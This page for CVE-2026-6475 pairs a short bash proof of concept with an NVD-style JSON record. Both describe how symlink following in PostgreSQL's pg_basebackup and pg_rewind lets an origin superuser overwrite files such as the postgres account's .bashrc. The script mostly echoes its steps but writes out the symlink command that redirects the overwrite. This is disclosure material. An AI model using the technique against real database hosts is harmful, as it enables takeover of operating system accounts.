CVE-2026-6475

#!/bin/bash # PoC for CVE-2026-6475: PostgreSQL Symlink Following # This script demonstrates the logic of the vulnerability. # Note: Exploitation requires access as the origin superuser. # 1. Define the target file on the local system to overwrite TARGET_FILE="/var/lib/postgres/.bashrc" # 2. Define a path inside the PostgreSQL data directory that will be backed up # The attacker creates a symlink at this location pointing to the target file # Example: ln -s /var/lib/postgres/.bashrc /var/lib/postgresql/data/base/12345 MALICIOUS_SYMLINK="/var/lib/postgresql/data/base/12345" echo "[+] Simulating creation of symlink: $MALICIOUS_SYMLINK -> $TARGET_FILE" # ln -s $TARGET_FILE $MALICIOUS_SYMLINK echo "[+] Waiting for administrator to run pg_basebackup -Fp ..." echo "[+] When pg_basebackup runs, it will follow the symlink and overwrite $TARGET_FILE" echo "[+] If the VM is snapshotted/moved before starting PG, the malicious .bashrc persists."

{"cve": {"id": "CVE-2026-6475", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-14T14:16:25.113", "lastModified": "2026-05-14T16:21:23.190", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Symlink following in PostgreSQL pg_basebackup plain format and in pg_rewind allows an origin superuser to overwrite local files, e.g. /var/lib/postgres/.bashrc, that hijack the operating system account. It will remain the case that starting the server after these commands implicitly trusts the origin superuser, due to features like shared_preload_libraries. Hence, the attack has practical implications only if one takes relevant action between these commands and server start, like moving the files to a different VM or snapshotting the VM. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-61"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2026-6475/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}